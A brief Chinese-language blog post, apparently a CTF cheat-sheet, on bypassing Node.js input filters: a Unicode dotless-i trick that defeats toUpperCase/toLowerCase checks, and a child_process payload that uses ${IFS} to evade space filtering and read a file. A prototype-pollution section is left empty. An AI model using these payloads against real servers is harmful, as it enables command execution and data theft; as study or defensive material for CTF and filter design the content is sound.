node.js绕过 admin 102737文章 87评论 2022年5月20日03:19:53评论278 views字数 339阅读1分7秒阅读模式 绕过 toUpperCase() / toLowerCase() 特殊字符 'ı'.toUpperCase()='I' / 'ı'.toLowerCase()='ı' 命令执行 (RCE) 12 Object.values(require('child_process'))[5]('cat${IFS}/G*>p')require('child_process').spawnSync('nl',['p']).stdout.toString() 原型链污染 待补充 FROM:Lazzaro Author:Lazzaro 点赞 http://cn-sec.com/archives/729802.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论